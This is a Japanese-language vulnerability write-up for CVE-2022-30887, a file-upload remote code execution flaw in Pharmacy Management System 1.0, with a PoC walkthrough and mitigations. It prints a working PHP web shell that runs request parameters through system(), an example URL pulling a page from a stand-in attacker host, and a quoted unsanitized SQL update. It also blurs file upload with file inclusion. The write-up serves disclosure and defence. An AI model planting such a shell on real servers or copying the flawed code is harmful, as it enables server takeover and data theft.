CVE-2022-30887

Pharmacy Management System 1.0 シェルアップロード

このアプリケーションはMayurikによって構築されました。 Pharmacy management systemプロジェクトは、セキュリティと管理を通じて薬局の正確性と効率を向上させるためにPHPで開発されました。簡単に言えば、製品在庫管理アプリケーションです。

Pharmacy Management System v1.0には、コンポーネント「/php_action/editProductImage.php」を介したリモートコード実行（RCE）の脆弱性が発見されました。この脆弱性により、攻撃者は細工された画像ファイルを介して任意のコードを実行できます。

ファイルインクルージョン攻撃とは

ファイルアップロードの脆弱性は、通常、スクリプトを実行可能にする脆弱性です。サーバーにファイルをアップロードし、アップロードしたファイルに対してコマンドを入力することで機能します。ファイルアップロードの脆弱性は、次の2つのタイプに分類されます。

• LFI（ローカルファイルインクルージョン）
• RFI（リモートファイルインクルージョン）

LFI（ローカルファイルインクルージョン）

この脆弱性は、サーバー上のローカルファイルがユーザーから取得したファイルをインクルードする場合に発生します。ユーザーから受け取った値はサニタイズされなければなりません。

LFI（ローカルファイルインクルージョン） の例；

<?php
if($_REQUEST['s'])
 {  
 system($_REQUEST['s']);
 } 
 else
  phpinfo();?>

RFI（リモートファイルインクルージョン）

この脆弱性は、攻撃者がリモートサーバーからマルウェアをアップロードする際に機能します。

RFI（リモートファイルインクルージョン） の例；

"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

エクスプロイトの説明、PoC

• まず、ログインページの後、「dashboar.php」に移動します。
• 次に、脆弱性が見つかったページに移動するには、メニューの「Medicine」をクリックし、「Manage Medicine」をクリックした後、「product.php」に移動し、アクションタブの下にある「Edit Image」をクリックします。

• 「editproduct.php」ページで、「Select Photo」ボタンをクリックし、シェルスクリプトをアップロードします。

phpシェルスクリプトの例；

<?php
if($_REQUEST['s'])
 {  
 system($_REQUEST['s']);
 } 
 else
  phpinfo();?>

• 保存ボタンをクリックし、Burp Suiteでリクエストをキャッチします。

Request;

Response;

• ファイルは「/assets/myimage/」フォルダにダウンロードされます。
• URLでスクリプトを実行するリクエストを行います。/assets/myimage/shell.php?s=echo+%22MuallimNaci%22

Request;

Response;

• そして BOOM

また、この脆弱性はアプリケーション上でまだアクティブです。

緩和策

• 「a-Z0-9」などの文字のみを受け入れ、「..」や「/」、「%00」（ヌルバイト）を許可しないようにしてください。
• 「allow_url_includeフラグ」はオフになっていることを確認してください。
• OWASP Top 10の緩和策に従って、「アプリケーションは、ページに含めることができるファイルの*ホワイトリストを維持し、識別子（例えばインデックス番号）を使用して選択されたファイルにアクセスするようにします。無効な識別子を含むリクエストはすべて拒否されるべきであり、これにより悪意のあるユーザーがパスを操作する攻撃対象がなくなります。」

追加情報

同じ「editproduct.php」ページで、Stored XSSを発見しました。

脆弱性を含むコードは次のとおりです。

$sql = "UPDATE product SET product_name = '$productName'"

このコードブロックでは、二重引用符（"）を使用してコンテキストから抜け出すことができます。

リクエスト;

レスポンス;

結論

この説明で、ファイルインクルージョンの脆弱性がどのように機能するか、どのような状況でこの脆弱性が引き起こされるか、そして攻撃者からこの攻撃を防ぐ方法が伝われば幸いです。お忙しい中、ありがとうございました。